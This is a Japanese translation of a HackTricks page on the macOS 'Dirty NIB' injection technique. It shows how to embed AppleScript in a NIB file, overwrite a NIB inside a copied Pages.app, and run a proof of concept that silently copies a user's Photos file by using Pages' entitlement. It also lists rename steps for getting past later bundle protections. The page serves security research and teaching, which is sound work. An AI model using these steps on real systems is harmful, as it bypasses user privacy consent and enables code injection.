hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md

9.5 KiB
Raw Blame History

macOS Dirty NIB

htARTE (HackTricks AWS Red Team Expert) を使って AWS ハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

このテクニックは投稿から取られました https://blog.xpnsec.com/dirtynib/

基本情報

NIB ファイルは Apple の開発エコシステムで使用され、アプリケーション内のユーザーインターフェース (UI) 要素とその相互作用を定義するために使用されます。Interface Builder ツールで作成され、ウィンドウ、ボタン、テキストフィールドなどのシリアライズされたオブジェクトを含み、実行時に設計された UI を表示するためにロードされます。Apple はまだこれを使用していますが、アプリケーションの UI フローのより視覚的な表現のために、Storyboard への移行を推奨しています。

{% hint style="danger" %} さらに、NIB ファイル任意のコマンドを実行するためにも使用でき、アプリ内の NIB ファイルが変更されても、Gatekeeper はアプリの実行を許可するため、アプリケーション内で任意のコマンドを実行するために使用できます。 {% endhint %}

Dirty NIB インジェクション

まず、新しい NIB ファイルを作成する必要があります。大部分の構築には XCode を使用します。インターフェースにオブジェクトを追加し、クラスを NSAppleScript に設定します:

オブジェクトには、User Defined Runtime Attributes を使用して初期 source プロパティを設定する必要があります:

これにより、要求に応じて AppleScript を実行するコード実行ガジェットが設定されます。AppleScript の実行を実際にトリガーするために、今のところボタンを追加します(もちろんこれには創造性を発揮できます ;)。ボタンは作成したばかりの Apple Script オブジェクトにバインドされ、executeAndReturnError: セレクターを呼び出します

テスト用には、とりあえず Apple Script を使用します:

set theDialogText to "PWND"
display dialog theDialogText

XCodeデバッガーでこれを実行し、ボタンを押すと

NIBから任意のAppleScriptコードを実行する能力を持っているので、次にターゲットが必要です。初期デモのために、もちろんAppleのアプリケーションであり、私たちによって変更可能であるべきではないPagesを選びましょう。

まず、アプリケーションのコピーを/tmp/に取ります:

cp -a -X /Applications/Pages.app /tmp/

アプリケーションを起動して、Gatekeeperの問題を避け、キャッシュを許可します

open -W -g -j /Applications/Pages.app

アプリを初めて起動そして終了した後、既存のNIBファイルをDirtyNIBファイルで上書きする必要があります。デモの目的で、実行を制御できるようにAbout Panel NIBを上書きします

cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib

nibを上書きしたら、About メニューアイテムを選択することで実行をトリガーできます:

Pagesをもう少し詳しく見ると、ユーザーのPhotosへのアクセスを許可するプライベートな権限があることがわかります

したがって、AppleScriptを変更して、ユーザーにプロンプトを表示せずに写真を盗む POCをテストできます

{% code overflow="wrap" %}

use framework "Cocoa"
use framework "Foundation"

set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"

grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1

{% endcode %}

{% hint style="danger" %} 悪意のある .xib ファイルの例で任意のコードを実行します。 {% endhint %}

自分の DirtyNIB を作成する

起動制約

これらは基本的に予想される場所以外でのアプリケーションの実行を防ぐため、起動制約で保護されているアプリケーションを /tmp にコピーした場合、実行することはできません。
この投稿で詳細を見る

しかし、ファイル /System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4 を解析すると、起動制約で保護されていないアプリケーションがまだ見つかりますので、それらに任意の場所に NIB ファイルを注入することができます(これらのアプリを見つける方法については、前のリンクを確認してください)。

追加の保護

macOS Somona から、アプリ内に書き込むことを防ぐ保護がいくつかあります。しかし、バイナリのコピーを実行する前に Contents フォルダの名前を変更することで、この保護を回避することが可能です:

  1. CarPlay Simulator.app のコピーを /tmp/ に取る
  2. /tmp/Carplay Simulator.app/Contents/tmp/CarPlay Simulator.app/NotCon に名前を変更する
  3. Gatekeeper 内でキャッシュするためにバイナリ /tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator を起動する
  4. NotCon/Resources/Base.lproj/MainMenu.nib を私たちの Dirty.nib ファイルで上書きする
  5. /tmp/CarPlay Simulator.app/Contents に名前を変更する
  6. CarPlay Simulator.app を再度起動する

{% hint style="success" %} macOS はアプリケーションバンドル内のファイルの変更を防ぐため、これはもはや可能ではないようです。
したがって、Gatekeeper でアプリをキャッシュした後、バンドルを変更することはできません。
そして例えば Contents ディレクトリの名前を NotCon に変更し上記のエクスプロイトで示されているように、Gatekeeper でキャッシュするためにアプリのメインバイナリを実行すると、エラーが発生し実行されません。 {% endhint %}

htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法: